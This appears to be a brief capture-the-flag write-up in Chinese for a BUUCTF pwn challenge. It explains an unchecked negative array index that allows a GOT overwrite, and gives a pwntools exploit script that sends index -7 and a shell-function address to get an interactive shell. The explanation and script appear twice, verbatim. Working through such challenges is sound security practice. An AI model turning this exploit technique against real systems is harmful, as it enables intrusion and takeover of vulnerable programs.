这里存在数组越界,没有进行检查,所以我们可以任意地址写,这里写got为shell即可
from pwn import *
p = remote("node4.buuoj.cn",27085)
shell = 0x080485CB
p.sendlineafter(">",'-7')
p.sendlineafter("Give your name plz: ",p32(shell))
p.interactive()
这里存在数组越界,没有进行检查,所以我们可以任意地址写,这里写got为shell即可
from pwn import *
p = remote("node4.buuoj.cn",27085)
shell = 0x080485CB
p.sendlineafter(">",'-7')
p.sendlineafter("Give your name plz: ",p32(shell))
p.interactive()